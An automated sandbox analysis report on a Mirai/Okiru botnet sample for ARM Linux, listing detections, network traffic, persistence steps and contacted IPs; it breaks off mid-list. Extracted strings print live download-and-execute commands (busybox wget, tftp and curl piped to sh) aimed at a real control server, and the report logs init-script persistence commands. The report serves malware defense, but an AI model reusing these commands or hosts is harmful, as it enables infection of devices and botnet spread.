Linux Analysis Report
arm.nn-20241122-0008.elf

Overview

General Information

Sample name: arm.nn-20241122-0008.elf
Analysis ID: 1560593
MD5: edbc406464557b94a7338b77e06e8f2e
SHA1: b4addeedc86b911eeaa98cb9879f897c6f20ef3c
SHA256: 40ebea7a599910003937b2c8fee592641255b24c07a1ffbc1de3dac33ecd5392
Tags: user-elfdigest
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "rm" command used to delete files or directories
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm.nn-20241122-0008.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm.nn-20241122-0008.elf ReversingLabs: Detection: 44%
Found strings indicative of a multi-platform dropper
Source: arm.nn-20241122-0008.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: arm.nn-20241122-0008.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:38970 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.23:44348 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6244) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 183.99.214.98
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 82.90.100.99
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 133.134.251.185
Source: unknown TCP traffic detected without corresponding DNS query: 183.99.214.98
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 23.79.205.210
Source: unknown TCP traffic detected without corresponding DNS query: 93.139.12.93
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 195.66.114.196
Source: unknown TCP traffic detected without corresponding DNS query: 192.183.137.131
Source: unknown TCP traffic detected without corresponding DNS query: 82.90.100.99
Source: unknown TCP traffic detected without corresponding DNS query: 142.15.29.67
Source: arm.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/
Source: arm.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: arm.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: arm.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4@
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6255) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6255) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6255) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6255) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6255) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6255) SIGKILL sent: pid: 6295, result: successful Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6255) SIGKILL sent: pid: 6315, result: successful Jump to behavior
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6244) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6244) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6336) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6361) File: /etc/rc.d/S99arm.nn-20241122-0008.elf -> /etc/init.d/arm.nn-20241122-0008.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6244) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6333) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6349) File: /etc/init.d/arm.nn-20241122-0008.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6494/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6493/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6496/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6495/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6498/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6497/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6499/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6490/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6492/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6491/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6502/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6501/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6504/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6503/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6506/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6505/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6507/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6461/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6463/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6462/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6464/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6500/status Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6080/cmdline Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6387) File opened: /proc/6480/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6270) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6330) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6334) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6337) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm.nn-20241122-0008.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm.nn-20241122-0008.elf'\n /tmp/arm.nn-20241122-0008.elf &\n wget eqqm7,,.60+.10+.+4-, -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm.nn-20241122-0008.elf'\n killall arm.nn-20241122-0008.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm.nn-20241122-0008.elf" Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6343) Shell command executed: sh -c "chmod +x /etc/init.d/arm.nn-20241122-0008.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6350) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6356) Shell command executed: sh -c "ln -s /etc/init.d/arm.nn-20241122-0008.elf /etc/rc.d/S99arm.nn-20241122-0008.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6333) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6349) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm.nn-20241122-0008.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6355) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6233) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.b45DMQaVoJ /tmp/tmp.f4z93NFFaP /tmp/tmp.FZB2aCKCCV Jump to behavior
Source: /usr/bin/dash (PID: 6234) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.b45DMQaVoJ /tmp/tmp.f4z93NFFaP /tmp/tmp.FZB2aCKCCV Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6292) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6244) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6333) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6349) File: /etc/init.d/arm.nn-20241122-0008.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6244) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6244) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6337) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm.nn-20241122-0008.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6244) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6337) File: /etc/init.d/arm.nn-20241122-0008.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm.nn-20241122-0008.elf (PID: 6244) Queries kernel information via 'uname': Jump to behavior
Source: arm.nn-20241122-0008.elf, 6244.1.00007ffca8842000.00007ffca8863000.rw-.sdmp, arm.nn-20241122-0008.elf, 6255.1.00007ffca8842000.00007ffca8863000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.nn-20241122-0008.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.nn-20241122-0008.elf
Source: arm.nn-20241122-0008.elf, 6244.1.00005571ac77c000.00005571ac8cb000.rw-.sdmp, arm.nn-20241122-0008.elf, 6255.1.00005571ac77c000.00005571ac8cb000.rw-.sdmp Binary or memory string: qU!/etc/qemu-binfmt/arm
Source: arm.nn-20241122-0008.elf, 6244.1.00007ffca8842000.00007ffca8863000.rw-.sdmp Binary or memory string: /tmp/qemu-open.KbX88j
Source: arm.nn-20241122-0008.elf, 6244.1.00007ffca8842000.00007ffca8863000.rw-.sdmp Binary or memory string: qU/tmp/qemu-open.KbX88j
Source: arm.nn-20241122-0008.elf, 6255.1.00005571ac77c000.00005571ac8cb000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm.nn-20241122-0008.elf, 6244.1.00005571ac77c000.00005571ac8cb000.rw-.sdmp Binary or memory string: qU/arm/ro10 /proc/1890/exe0!/usr/bin/vmtoolsd1/usr/libexec/gvfs-mtp-volume-monitor!/proc/1888/exe0!/proc/759/exe!/proc/2078/exe/arm/pro!/proc/4445/exe/arm/proa :
Source: arm.nn-20241122-0008.elf, 6255.1.00005571ac77c000.00005571ac8cb000.rw-.sdmp Binary or memory string: qUu-binfmt/arm/ro10!/usr/bin/xfce4-session!/usr/bin1/usr/libexec/rtkit-daemonin!/usr/bin/VGAuthService1/usr/lib/bluetoothm/sr10!/proc/1900/exe0!/proc/721/exe1/proc/6323/exe/arm/ro10!/proc/1890/exe0!/usr/bin/vmtoolsd1/usr/libexec/gvfs-mtp-volume-monitor!/proc/1888/exe0!/proc/759/exe!/proc/2078/exe/arm/pro!/proc/4445/exe/arm/proa :
Source: arm.nn-20241122-0008.elf, 6244.1.00005571ac77c000.00005571ac8cb000.rw-.sdmp, arm.nn-20241122-0008.elf, 6255.1.00005571ac77c000.00005571ac8cb000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.nn-20241122-0008.elf, 6244.1.00007ffca8842000.00007ffca8863000.rw-.sdmp, arm.nn-20241122-0008.elf, 6255.1.00007f66cc03f000.00007f66cc044000.rw-.sdmp, arm.nn-20241122-0008.elf, 6255.1.00007ffca8842000.00007ffca8863000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm.nn-20241122-0008.elf, 6244.1.00007ffca8842000.00007ffca8863000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm.nn-20241122-0008.elf, 6255.1.00007f66cc03b000.00007f66cc03f000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd8

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 6255.1.00007f66cc017000.00007f66cc032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6244.1.00007f66cc017000.00007f66cc032000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 6255.1.00007f66cc017000.00007f66cc032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6244.1.00007f66cc017000.00007f66cc032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.nn-20241122-0008.elf PID: 6244, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.nn-20241122-0008.elf PID: 6255, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 6255.1.00007f66cc017000.00007f66cc032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6244.1.00007f66cc017000.00007f66cc032000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 6255.1.00007f66cc017000.00007f66cc032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6244.1.00007f66cc017000.00007f66cc032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.nn-20241122-0008.elf PID: 6244, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.nn-20241122-0008.elf PID: 6255, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
88.127.32.250
 unknown France
12322 PROXADFR false
135.165.144.124
 unknown United States
14962 NCR-252US false
113.230.110.159
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
173.128.210.56
 unknown United States
10507 SPCSUS false
175.40.208.216
 unknown India
4804 MPX-ASMicroplexPTYLTDAU false
140.169.55.41
 unknown United States
15199 WWUUS false
133.107.138.172
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
165.200.179.212
 unknown United States
22809 AMFAM-INSUS false
201.42.84.160
 unknown Brazil
27699 TELEFONICABRASILSABR false
40.118.160.209
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
45.97.235.94
 unknown Egypt
37069 MOBINILEG false
132.232.8.120
 unknown China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
129.15.181.43
 unknown United States
25776 UNIV-OF-OKLAHOMAUS false
44.153.140.222
 unknown United States
62383 LDS-ASBE false
123.2.137.237
 unknown Australia
38285 VOCUS-RETAIL-AUVocusRetailAU false
189.76.60.215
 unknown Brazil
22689 SercomtelParticipacoesSABR false
167.118.127.130
 unknown United States
6057 AdministracionNacionaldeTelecomunicacionesUY false
152.81.170.145
 unknown France
782 FR-LORIAASfortheLaboratoireenrechercheinformatique false
12.133.122.213
 unknown United States
27482 AECP-ASUS false
216.206.238.42
 unknown United States
13781 ENERGYNETUS false
60.141.253.23
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
149.173.46.232
 unknown United States
12229 SAS-WHQUS false
18.208.63.213
 unknown United States
14618 AMAZON-AESUS false
174.252.129.176
 unknown United States
22394 CELLCOUS false
177.80.180.103
 unknown Brazil
28573 CLAROSABR false
82.203.7.2
 unknown United Kingdom
6740 TISCALICZ false
39.115.62.80
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
2.131.4.134
 unknown Denmark
9158 TELENOR_DANMARK_ASDK false
1.53.237.225
 unknown Viet Nam
18403 FPT-AS-APTheCorporationforFinancingPromotingTechnolo false
63.121.207.50
 unknown United States
701 UUNETUS false
199.198.82.112
 unknown Canada
19713 STATE-OF-NH-USAUS false
73.103.69.46
 unknown United States
7922 COMCAST-7922US false
104.28.200.40
 unknown United States
13335 CLOUDFLARENETUS false
28.205.124.152
 unknown United States
7922 COMCAST-7922US false
196.55.25.165
 unknown South Africa
40676 AS40676US false
186.231.183.155
 unknown Brazil
26615 TIMSABR false
199.26.136.51
 unknown United States
19528 MPDCOLUS false
61.13.96.211
 unknown Singapore
17820 DIL-APDIRECTINTERNETLTDIN false
46.252.175.58
 unknown Russian Federation
38951 TKT-ASRU false
150.5.55.101
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
108.83.154.195
 unknown United States
7018 ATT-INTERNET4US false
205.164.148.250
 unknown United States
174 COGENT-174US false
22.111.186.203
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
114.145.143.13
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
135.27.194.50
 unknown United States
18676 AVAYAUS false
197.101.246.238
 unknown South Africa
3741 ISZA false
200.106.40.166
